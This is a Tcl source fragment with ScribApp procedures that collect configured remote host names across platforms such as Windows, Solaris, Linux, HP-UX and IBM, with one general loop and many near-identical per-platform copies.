 proc ::ScribApp::bsm_get_hosts {} {
 set sel_host ""
 foreach plat {win sgi64 sol64 linux linux64_amd linux64 hp11 hpit ibm64} {
   set var1 set_icem_acn_${plat}
   set var2 set_remote_mc_${plat}
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
 } 
  return $sel_host 
} 
#
 proc ::ScribApp::bsm_get_hosts_win {} {
 set sel_host ""
   set var1 set_icem_acn_win 
   set var2 set_remote_mc_win 
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::bsm_get_hosts_sgi64 {} {
 set sel_host ""
   set var1 set_icem_acn_sgi64 
   set var2 set_remote_mc_sgi64
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
#
 proc ::ScribApp::bsm_get_hosts_sol64 {} {
 set sel_host ""
   set var1 set_icem_acn_sol64 
   set var2 set_remote_mc_sol64
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::bsm_get_hosts_linux {} {
 set sel_host ""
   set var1 set_icem_acn_linux 
   set var2 set_remote_mc_linux 
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::bsm_get_hosts_linux64_amd {} {
 set sel_host ""
   set var1 set_icem_acn_linux64_amd 
   set var2 set_remote_mc_linux64_amd 
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::bsm_get_hosts_linux64 {} {
 set sel_host ""
   set var1 set_icem_acn_linux64
   set var2 set_remote_mc_linux64
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::bsm_get_hosts_hp11 {} {
 set sel_host ""
   set var1 set_icem_acn_hp11 
   set var2 set_remote_mc_hp11
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::bsm_get_hosts_hpit {} {
 set sel_host ""
   set var1 set_icem_acn_hpit 
   set var2 set_remote_mc_hpit 
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::bsm_get_hosts_ibm64 {} {
 set sel_host ""
   set var1 set_icem_acn_ibm64 
   set var2 set_remote_mc_ibm64
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#



